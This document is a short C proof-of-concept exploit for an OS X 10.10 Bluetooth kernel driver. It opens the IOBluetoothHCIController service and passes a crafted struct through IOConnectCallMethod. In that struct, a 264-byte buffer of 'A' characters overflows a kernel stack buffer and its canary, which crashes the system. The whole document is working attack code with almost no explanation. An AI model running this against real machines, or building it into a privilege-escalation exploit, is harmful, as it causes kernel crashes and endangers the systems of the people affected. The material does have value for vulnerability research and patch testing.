OS X 10.10 Bluetooth BluetoothHCIChangeLocalName - Crash

                                                #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
 
#include <IOKit/IOKitLib.h>
 
struct BluetoothCall {
  uint64_t args[7];
  uint64_t sizes[7];
  uint64_t index;
};
 
int main(void) {
  /* Finding vuln service */
  io_service_t service =
    IOServiceGetMatchingService(kIOMasterPortDefault,
                IOServiceMatching("IOBluetoothHCIController"));
 
  if (!service) {
    return -1;
  }
 
  /* Connect to vuln service */
  io_connect_t port = (io_connect_t) 0;
  kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
  IOObjectRelease(service);
  if (kr != kIOReturnSuccess) {
    return kr;
  }
 
  printf(" [+] Opened connection to service on port: %d\n", port);
 
  struct BluetoothCall a;
 
  a.sizes[0] = 0x1000;
  a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));
 
  /* This arguments overflows a local buffer and the adjacent stack canary */
  a.sizes[1] = 264;
  a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
  memset((void *)a.args[1], 'A', a.sizes[1]);
 
  /* Call IOBluetoothHCIUserClient::DispatchHCIReadLocalName() */
  a.index = 0x2d;
 
  /* Debug */
  for(int i = 0; i < 120; i++) {
    if(i % 8 == 0) printf("\n");
    printf("\\x%02x", ((unsigned char *)&a)[i]);
  }
  printf("\n");
  fflush(stdout);
 
  kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
               (uint32_t) 0,       /* Selector */
               NULL, 0,        /* input, inputCnt */
               (const void*) &a,   /* inputStruct */
               sizeof(a),          /* inputStructCnt */
               NULL, NULL, NULL, NULL); /* Output stuff */
  printf("kr: %08x\n", kr);
 
  return IOServiceClose(port);
}